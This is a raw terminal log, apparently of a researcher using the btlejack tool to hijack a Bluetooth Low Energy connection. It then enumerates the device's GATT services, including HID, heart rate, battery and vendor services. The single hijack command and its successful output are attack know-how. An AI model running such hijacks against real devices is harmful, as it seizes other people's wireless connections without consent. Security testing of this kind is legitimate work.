jdott@stealth:~$ sudo btlejack -d /dev/ttyUSB0 -f 0x691b0d90 -t

BtleJack version 2.0

[i] Using cached parameters (created on 2022-03-12 13:40:37)

[i] Detected sniffers:

> Sniffer #0: fw version 2.0

[i] Synchronizing with connection 0x691b0d90 ...

✓ CRCInit: 0x62999b

✓ Channel Map = 0x1fffff2ff1

✓ Hop interval = 30

✓ Hop increment = 12

[i] Synchronized, hijacking in progress ...

[i] Connection successfully hijacked, it is all yours \o/

btlejack> discover

btlejack> start: 0001 end: 0009

start: 000a end: 000d

start: 000e end: 0020

start: 0021 end: 002b

start: 002c end: 002f

start: 0030 end: 003c

start: 003d end: 0042

start: 0043 end: 0048

start: 0049 end: ffff

Discovered services:

Service UUID: 1800

Characteristic UUID: 2a00

| handle: 0002

| properties: read write (0a)

\ value handle: 0003

Characteristic UUID: 2a01

| handle: 0004

| properties: read (02)

\ value handle: 0005

Characteristic UUID: 2a04

| handle: 0006

| properties: read (02)

\ value handle: 0007

Characteristic UUID: 2aa6

| handle: 0008

| properties: read (02)

\ value handle: 0009

Service UUID: 1801

Characteristic UUID: 2a05

| handle: 000b

| properties: indicate (20)

\ value handle: 000c

Service UUID: 1812

Characteristic UUID: 2a4e

| handle: 000f

| properties: read write\_without\_resp (06)

\ value handle: 0010

Characteristic UUID: 2a4d

| handle: 0011

| properties: read write notify (1a)

\ value handle: 0012

Characteristic UUID: 2a4d

| handle: 0015

| properties: read write\_without\_resp write (0e)

\ value handle: 0016

Characteristic UUID: 2a4b

| handle: 0018

| properties: read (02)

\ value handle: 0019

Characteristic UUID: 2a33

| handle: 001a

| properties: read write notify (1a)

\ value handle: 001b

Characteristic UUID: 2a4a

| handle: 001d

| properties: read (02)

\ value handle: 001e

Characteristic UUID: 2a4c

| handle: 001f

| properties: write\_without\_resp (04)

\ value handle: 0020

Service UUID: 180a

Characteristic UUID: 2a29

| handle: 0022

| properties: read (02)

\ value handle: 0023

Characteristic UUID: 2a24

| handle: 0024

| properties: read (02)

\ value handle: 0025

Characteristic UUID: 2a25

| handle: 0026

| properties: read (02)

\ value handle: 0027

Characteristic UUID: 2a27

| handle: 0028

| properties: read (02)

\ value handle: 0029

Characteristic UUID: 2a28

| handle: 002a

| properties: read (02)

\ value handle: 002b

Service UUID: 180f

Characteristic UUID: 2a19

| handle: 002d

| properties: read notify (12)

\ value handle: 002e

Service UUID: feea

Characteristic UUID: fee1

| handle: 0031

| properties: read notify (12)

\ value handle: 0032

Characteristic UUID: fee2

| handle: 0034

| properties: write (08)

\ value handle: 0035

Characteristic UUID: fee3

| handle: 0036

| properties: notify (10)

\ value handle: 0037

Characteristic UUID: fee5

| handle: 0039

| properties: write\_without\_resp (04)

\ value handle: 003a

Characteristic UUID: fee6

| handle: 003b

| properties: write\_without\_resp (04)

\ value handle: 003c

Service UUID: 180d

Characteristic UUID: 2a37

| handle: 003e

| properties: notify (10)

\ value handle: 003f

Characteristic UUID: 2a38

| handle: 0041

| properties: read (02)

\ value handle: 0042

Service UUID: fee7

Characteristic UUID: fea1

| handle: 0044

| properties: read notify (12)

\ value handle: 0045

Characteristic UUID: fec9

| handle: 0047

| properties: read (02)

\ value handle: 0048

Service UUID: fcba

Characteristic UUID: fcc1

| handle: 004a

| properties: notify (10)

\ value handle: 004b